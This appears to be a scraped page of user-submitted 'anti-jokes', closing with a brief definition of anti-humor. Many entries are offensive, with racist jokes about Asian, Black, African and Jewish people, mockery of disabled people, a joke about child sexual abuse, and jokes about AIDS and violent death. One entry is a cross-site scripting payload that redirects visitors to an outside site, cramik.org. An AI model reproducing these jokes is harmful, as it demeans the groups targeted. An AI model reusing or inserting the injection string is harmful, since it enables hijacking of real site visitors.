What did the soldier get for his birthday? Shot in the face.

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Allah walked into AK Bar

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Q: Whats a spanish teacher who cant speak spanish A: duhh. it called an english teacher

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Knock Knock Who's there? Who Who who? Hoodini

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A young Asian boy got a B on his test. He went home an showed his parents even though he was nervous of their reaction. They told him that a B was a good grade and put it on the fridge. After that he began to gradually flunk each class one by one because of his parent's inability to push him to be better. He is now homeless and an alcoholic.

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What do you call a black man fishing. ... a fisherman racist.

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A horse walks into a bar. The barman says 'who the f*ck let a horse in here, get it out now'.

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What do you call a white person? Caucasian

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What's white and black and red all over A nun with a spear throug her head

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What did the kid tell his father? Go away, I'm watching elmo!

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"'>document.location.href="http://cramik.org"

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good pick up line hey baby have u seen my heart cuz i think you stole it

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What is pink and smells like tuna? Salmon

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Ask me if I'm well Are you well? No

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Why doesn't Jonathan Walk across the road? Because he is in a wheelchair...

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A man walks into a bar. and buys a drink.

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Whats luckier than finding a lucky penny? winning the lottery.

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How many asian children does it take for Gary Glitter to get aroused? Just one.

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what did the African baby get for his birthday?..... AIDS

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How do Chinese people name their kids? They could look up a baby-names book, consult their family history, or make one up

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Roses Are Red Violets Are Blue If it wasnt for christmas We would all be jewish.

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Yo mamma's so fat she has her own zip code!!! :) Well... the actual reason is she is filthy rich and her house is so big that it takes up a bunch of room, and now that im talking about her i really wanna be her even though shes fat!

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Why did the boy fall off his skateboard before running into a cross-section? Because he was shot.

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A man with a broken arm is sitting in a hospital. He says, "Doctor, when my arm heals, will I be able to play the violin?" The doctor says, "Yes, with proper medical attention and rest, you will be able to." The man says, "That's great! Before I broke my arm, I really enjoyed playing the violin."

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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